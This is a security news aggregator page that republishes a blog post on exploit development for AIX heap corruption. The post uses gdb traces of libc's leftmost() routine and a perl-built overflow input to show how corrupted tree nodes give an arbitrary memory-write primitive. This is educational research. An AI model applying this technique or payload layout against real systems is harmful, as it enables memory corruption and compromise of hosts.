Contribuez à SecuObs en envoyant des bitcoins ou des dogecoins.
Nouveaux articles (fr): 1pwnthhW21zdnQ5WucjmnF3pk9puT5fDF
Amélioration du site: 1hckU85orcGCm8A9hk67391LCy4ECGJca

Contribute to SecuObs by sending bitcoins or dogecoins.

Chercher :
Newsletter :  


Revues :
- Presse
- Presse FR
- Vidéos
- Twitter
- Secuobs





Sommaires :
- Tendances
- Failles
- Virus
- Concours
- Reportages
- Acteurs
- Outils
- Breves
- Infrastructures
- Livres
- Tutoriels
- Interviews
- Podcasts
- Communiques
- USBsploit
- Commentaires


Revue Presse:
- Tous
- Francophone
- Par mot clé
- Par site
- Le tagwall


Top bi-hebdo:
- Ensemble
- Articles
- Revue
- Videos
- Twitter
- Auteurs


Articles :
- Par mot clé
- Par auteur
- Par organisme
- Le tagwall


Videos :
- Toutes
- Par mot clé
- Par site
- Le tagwall


Twitter :
- Tous
- Par mot clé
- Par compte
- Le tagwall


Commentaires :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS/XML :
- Articles
- Commentaires
- Revue
- Revue FR
- Videos
- Twitter


RSS SecuObs :
- sécurité
- exploit
- windows
- attaque
- outil
- microsoft


RSS Revue :
- security
- microsoft
- windows
- hacker
- attack
- network


RSS Videos :
- curit
- security
- biomet
- metasploit
- biometric
- cking


RSS Twitter :
- security
- linux
- botnet
- attack
- metasploit
- cisco


RSS Comments :
- Breves
- Virus
- Failles
- Outils
- Tutoriels
- Tendances
- Acteurs
- Reportages
- Infrastructures
- Interviews
- Concours
- Livres
- Communiques


RSS OPML :
- Français
- International











Revue de presse francophone :
- Appaloosa AppDome nouent un partenariat pour accompagner les entreprises dans le déploiement et la protection des applications mobiles
- D-Link offre une avec un routeur VPN sans fil AC
- 19 mai Paris Petit-Déjeuner Coreye Développer son business à l'abri des cyberattaques
- POYNTING PRESENTE LA NOUVELLE ANTENNE OMNI-291, SPECIALE MILIEU MARITIME, CÔTIER ET MILIEU HUMIDE
- Flexera Software Les utilisateurs français de PC progressent dans l'application de correctifs logiciels, mais des défis de tailles subsistent
- Riverbed lance SD-WAN basé sur le cloud
- Fujitsu multi-récompensé VMware lui décerne plusieurs Partner Innovation Awards à l'occasion du Partner Leadership Summit
- Zscaler Private Access sécuriser l'accès à distance en supprimant les risques inhérents aux réseaux privés virtuels
- QNAP annonce la sortie de QTS 4.2.1
- Une enquête réalisée par la société de cyber sécurité F-Secure a décelé des milliers de vulnérabilités graves, potentiellement utilisables par des cyber criminels pour infiltrer l'infrastru
- Trouver le juste équilibre entre une infrastructure dédiée et cloud le dilemme de la distribution numérique
- 3 juin - Fleurance - Cybersécurité Territoires
- Cyber-assurances Seules 40 pourcents des entreprises françaises sont couvertes contre les violations de sécurité et les pertes de données
- Des étudiants de l'ESIEA inventent CheckMyHTTPS un logiciel qui vérifie que vos connexions WEB sécurisées ne sont pas interceptées
- Les produits OmniSwitch d'Alcatel-Lucent Enterprise ALE gagnent en sécurité pour lutter contre les cyber-attaques modernes

Dernier articles de SecuObs :
- DIP, solution de partage d'informations automatisée
- Sqreen, protection applicative intelligente de nouvelle génération
- Renaud Bidou (Deny All): "L'innovation dans le domaine des WAFs s'oriente vers plus de bon sens et d'intelligence, plus de flexibilité et plus d'ergonomie"
- Mises à jour en perspective pour le système Vigik
- Les russes ont-ils pwn le système AEGIS ?
- Le ministère de l'intérieur censure une conférence au Canada
- Saut d'air gap, audit de firmware et (in)sécurité mobile au programme de Cansecwest 2014
- GCHQ: Le JTRIG torpille Anonymous qui torpille le JTRIG (ou pas)
- #FIC2014: Entrée en territoire inconnu
- Le Sénat investit dans les monnaies virtuelles

Revue de presse internationale :
- VEHICLE CYBERSECURITY DOT and Industry Have Efforts Under Way, but DOT Needs to Define Its Role in Responding to a Real-world Attack
- Demand letter served on poll body over disastrous Comeleak breach
- The Minimin Aims To Be The Simplest Theremin
- Hacking group PLATINUM used Windows own patching system against it
- Hacker With Victims in 100 Nations Gets 7 Years in Prison
- HPR2018 How to make Komboucha Tea
- Circuit Bender Artist bends Fresnel Lens for Art
- FBI Director Suggests iPhone Hacking Method May Remain Secret
- 2016 Hack Miami Conference May 13-15, 2016
- 8-bit Video Wall Made From 160 Gaming Keyboards
- In An Era Of Decline, News Sites Can t Afford Poor Web Performance
- BeautifulPeople.com experiences data breach 1m affected
- Swedish Air Space Infringed, Aircraft Not Required
- Why cybercriminals attack healthcare more than any other industry
- Setting the Benchmark in the Network Security Forensics Industry

Annuaire des videos
- FUZZING ON LINE PART THREE
- Official Maltego tutorial 5 Writing your own transforms
- Official Maltego tutorial 6 Integrating with SQL DBs
- Official Maltego tutorial 3 Importing CSVs spreadsheets
- install zeus botnet
- Eloy Magalhaes
- Official Maltego tutorial 1 Google s websites
- Official Maltego tutorial 4 Social Networks
- Blind String SQL Injection
- backdoor linux root from r57 php shell VPS khg crew redc00de
- How To Attaque Pc With Back Track 5 In Arabique
- RSA Todd Schomburg talks about Roundup Ready lines available in 2013
- Nessus Diagnostics Troubleshooting
- Panda Security Vidcast Panda GateDefender Performa Parte 2 de 2
- MultiPyInjector Shellcode Injection

Revue Twitter
- RT @fpalumbo: Cisco consistently leading the way ? buys vCider to boost its distributed cloud vision #CiscoONE
- @mckeay Looks odd... not much to go on (prob some slideshow/vid app under Linux)
- [SuggestedReading] Using the HTML5 Fullscreen API for Phishing Attacks
- RT @BrianHonan: Our problems are not technical but cultural. OWASP top 10 has not changed over the years @joshcorman #RSAC
- RT @mikko: Wow. Apple kernels actually have a function called PE_i_can_has_debugger:
- [Blog Spam] Metasploit and PowerShell payloads
- PinkiePie Strikes Again, Compromises Google Chrome in Pwnium Contest at Hack in the Box: For the second time thi...
- @mikko @fslabs y'all wldn't happen to have lat/long data sets for other botnets, wld you? Doing some research (free/open info rls when done)
- RT @nickhacks: Want to crash a remote host running Snow Leopard? Just use: nmap -P0 -6 --script=targets-ipv6-multicast-mld #wishiwaskidding
- An inexpensive proxy service called is actually a front for #malware distribution -

Mini-Tagwall
Revue de presse : security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone

+ de mots clés pour la revue de presse

Annuaires des videos : curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit

+ de mots clés pour les videos

Revue Twitter : security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall

+ de mots clés pour la revue Twitter

Top bi-hebdo des articles de SecuObs
- [Ettercap – Partie 2] Ettercap par l'exemple - Man In the Middle et SSL sniffing
- [Infratech - release] version 0.6 de Bluetooth Stack Smasher
- [IDS Snort Windows – Partie 2] Installation et configuration
- [Infratech - vulnérabilité] Nouvelle version 0.8 de Bluetooth Stack Smasher
- Mises à jour en perspective pour le système Vigik
- USBDumper 2 nouvelle version nouvelles fonctions !
- EFIPW récupère automatiquement le mot de passe BIOS EFI des Macbook Pro avec processeurs Intel
- La sécurité des clés USB mise à mal par USBDUMPER
- Une faille critique de Firefox expose les utilisateurs de Tor Browser Bundle
- Installation sécurisée d'Apache Openssl, Php4, Mysql, Mod_ssl, Mod_rewrite, Mod_perl , Mod_security

Top bi-hebdo de la revue de presse
- StackScrambler and the Tale of a Packet Parsing Bug

Top bi-hebdo de l'annuaire des videos
- DC++ Botnet. How To DDos A Hub With Fake IPs.
- Comment creer un server botnet!!!!(Réseau de pc zombies)
- Defcon 14 Hard Drive Recovery Part 3

Top bi-hebdo de la revue Twitter
- RT @secureideas: I believe that all the XSS flaws announced are fixed in CVS. Will test again tomorrow if so, release 1.4.3. #BASESnort
- Currently, we do not support 100% of the advanced PDF features found in Adobe Reader... At least that's a good idea.
- VPN (google): German Foreign Office Selects Orange Business for Terrestrial Wide: Full
- @DisK0nn3cT Not really, mostly permission issues/info leak...they've had a couple of XSS vulns but nothing direct.
- Swatting phreaker swatted and heading to jail: A 19-year-old American has been sentenced to eleven years in pris..
- RT @fjserna You are not a true hacker if the calc.exe payload is not the scientific one... infosuck.org/0x0035.png

Top des articles les plus commentés
- [Metasploit 2.x – Partie 1] Introduction et présentation
- Microsoft !Exploitable un nouvel outil gratuit pour aider les développeurs à évaluer automatiquement les risques
- Webshag, un outil d'audit de serveur web
- Les navigateurs internet, des mini-systèmes d’exploitation hors de contrôle ?
- Yellowsn0w un utilitaire de déblocage SIM pour le firmware 2.2 des Iphone 3G
- CAINE un Live[CD|USB] pour faciliter la recherche légale de preuves numériques de compromission
- Nessus 4.0 placé sous le signe de la performance, de l'unification et de la personnalisation
- [Renforcement des fonctions de sécurité du noyau Linux – Partie 1] Présentation
- [IDS Snort Windows – Partie 1] Introduction aux IDS et à SNORT
- Origami pour forger, analyser et manipuler des fichiers PDF malicieux

Taking the left hand path

Si vous voulez bloquer ce service sur vos fils RSS
Si vous voulez nous contacter ou nous proposer un fil RSS

Menu > Articles de la revue de presse : - l'ensemble [tous | francophone] - par mots clé [tous] - par site [tous] - le tagwall [voir] - Top bi-hebdo de la revue de presse [Voir]

S'abonner au fil RSS global de la revue de presse



Taking the left hand path

Par A bug's life
Le [2009-01-23] à 04:38:39



Présentation : An old friend of mine once told me that exploits are written in a debugger and implemented in your programming language of choice. Today, with my debugger in hand, I took a quick journey into the AIX memory allocator. Say you're dealing with a hypothetical BSS/heap memory corruption on AIX and you run into a crash like the following: Program received signal SIGSEGV, Segmentation fault. 0xd01f0488 in leftmost () from /usr/lib/libc.a(shr.o) (gdb) bt 4 #0 0xd01f048c in leftmost () from /usr/lib/libc.a(shr.o) #1 0xd01f25ac in malloc_y () from /usr/lib/libc.a(shr.o) #2 0xd01f1ecc in malloc_y_heap () from /usr/lib/libc.a(shr.o) #3 0xd01e661c in malloc () from /usr/lib/libc.a(shr.o) (More stack frames follow...) (gdb) Oh my, David Litchfield's paper dealing with rightmost() free(3) based writes isn't going to help you now is it! Well, that's exactly why you shouldn't rely on 'exploit' papers to get things done. People seem to panic when things haven't been done publicly before, but really what we're talking about here is just creative debugging. Which is exactly what exploit development boils down to. Before we get to deeply into the nitty gritty, let's have a quick look at the default AIX memory allocation policy: " Understanding the Default Allocation Policy The default allocation policy maintains the free space in the heap as nodes in a cartesian binary search tree in which the nodes are ordered left-to-right by address (increasing address to the right) and top-to-bottom by length (such that no child is larger than its parent). This data structure imposes no limitation on the number of block sizes supported by the tree, allowing a wide range of potential block sizes. Tree-reorganization techniques optimize access times for node location, insertion, and deletion, and also protect against fragmentation. " Mmkay, so really what we're talking about is binary search trees. When a malloc(n) occurs, the AIX allocation policy states that a binary search for the leftmost node occurs (searching for the lowest address that has a size associated with it that is = the requested size). Alright so the leftmost() function in which we crashed is walking the binary search tree to the left, which is for all intents an purposes very similar to walking a linked list (yeah yeah, you can stone me later). So lets have a look at the first couple of instructions of the leftmost function: Dump of assembler code for function leftmost: 0xd01f043c : addi r9,r4,1068 0xd01f0440 : lwz r7,1068(r4) 0xd01f0444 : lwz r0,1072(r4) 0xd01f0448 : lwz r6,4(r7) 0xd01f044c : lwz r5,0(r7) 0xd01f0450 : cmplw r0,r6 0xd01f0454 : bne- 0xd01f0518 Alright, so really all this is doing is loading a current node address and a size out of the __heaps structure (which is referenced by r4), into r7 and r0 respectively. r7 in turn holds a reference to the next node address and size, which is loaded into r5 and r6 respectively. You can see this logic in action below: Breakpoint 2, 0xd01f0450 in leftmost () from /usr/lib/libc.a(shr.o) r7 0x2000fcb0 536935600 address + 8 are read and then written into current-address". That sounds a whole lot easier to remember :) Now on to the second write at leftmost+76. A similar write logic occurs, only this time 2 dwords are loaded into r5/r6 from r4+1068 (which contains our current node data) by proxy of r9, and written to (r7) after 8 bytes are added to r7 at leftmost+72. So what is r7 pointing to!? r7 is loaded from r4+1076, which as we saw earlier, has been initalized with our next address (0xcafebabe) at leftmost+32. Okay, so, hold on ... the current node data (0x2ff22cfc, 0x41424344) is being written to the next address + 8? Sweet. Because we have full control over the 2nd dword (size) we can trigger a write4 primitive as long as the current address points to node data with a matching size. By setting the next address to an address you want to write to, minus 8 bytes for the addi, minus 4 bytes for the first dword, we can write a controlled current size value to arbitrary locations. So the proposed memory corruption logic becomes fairly simple: [A - pointer to C] [B - what ] [C - where-8-4 ] [D - what ] If we can corrupt binary search tree data that is walked by leftmost() with [A][B], and provide [C][D] elsewhere in memory (e.g. via an environment variable for locals), you end up with a controlled write4 primitive. Groovy. Now what you do with that write4 is entirely up to you of course : Example: writing 0x41424344 to 0x2ff20404, I know [C][D] lives at 0x2ff2cfc, so my corrupted node data becomes (remember, size, i.e. "what", for current and next have to match to enter the correct code block with the writes we want) [A: 0x2ff22cfc ] [B: 0x41424344 ] [C: 0x2ff20404-8-4] [D: 0x41424344 ] [C][D] can live wherever in memory, but for convenience sake I just put them right after [A][B], on a full blown exploit you will most likely have to deal with some survival issues post-write4 that call for a cleaner overwrite, maybe ;) (gdb) r -e `perl -e 'print "P"x5692; print "x2fxf2x01x0c"; print "P"x500; print "x2fxf2x01x0c"; print "x2fxf2x01x0c"; print "x2fxf2x01x0c"; print "P"x72; print "x2fxf2x2cxfcABCDx2fxf2x03xf8ABCD"'` - [A][B][C][D] Breakpoint 2, 0xd01f0450 in leftmost () from /usr/lib/libc.a(shr.o) r7 0x2ff22cfc 804400380 - location of [C][D] r0 0x41424344 1094861636 - current size (what) r5 0x2ff203f8 804389880 - where - 8 - 4 r6 0x41424344 1094861636 - next size (what) (gdb) x/2x 0x2ff22cfc 0x2ff22cfc: 0x2ff203f8 0x41424344 (gdb) ... Breakpoint 4, 0xd01f0488 in leftmost () from /usr/lib/libc.a(shr.o) (gdb) x/i$pc 0xd01f0488 : stswi r5,r7,8 (gdb) i r r7 r7 0x2ff20400 804389888 (gdb) i r r5 r6 r5 0x2ff22cfc 804400380 r6 0x41424344 1094861636 (gdb) si 0xd01f048c in leftmost () from /usr/lib/libc.a(shr.o) (gdb) x/x 0x2ff20404 0x2ff20404: 0x41424344 (gdb) Okay, so that's a basic write4 primitive out of a leftmost binary tree search on AIX heap corruption. Take away: you don't have to memorize every single allocator known to man if you're willing to grunt it out for a few hours with GDB. After which you get to horribly simplify and misuse binary tree based heap terminology.




AddThis Social Bookmark Widget



Les derniers articles du site "A bug's life" :

- On wrestling crocodiles
- Taking the left hand path
- Oh bugger.
- Size matters when hell freezes over
- Things to do with MOSDEF when you're dead
- You can only sit down if you are a human being




S'abonner au fil RSS global de la revue de presse

Menu > Articles de la revue de presse : - l'ensemble [tous | francophone] - par mots clé [tous] - par site [tous] - le tagwall [voir] - Top bi-hebdo de la revue de presse [Voir]



Si vous voulez bloquer ce service sur vos fils RSS :
- avec iptables "iptables -A INPUT -s 88.191.75.173 --dport 80 -j DROP"
- avec ipfw et wipfw "ipfw add deny from 88.191.75.173 to any 80"
- Nous contacter par mail




SecuToolBox :

Mini-Tagwall des articles publiés sur SecuObs :

Mini-Tagwall de l'annuaire video :

Mini-Tagwall des articles de la revue de presse :

Mini-Tagwall des Tweets de la revue Twitter :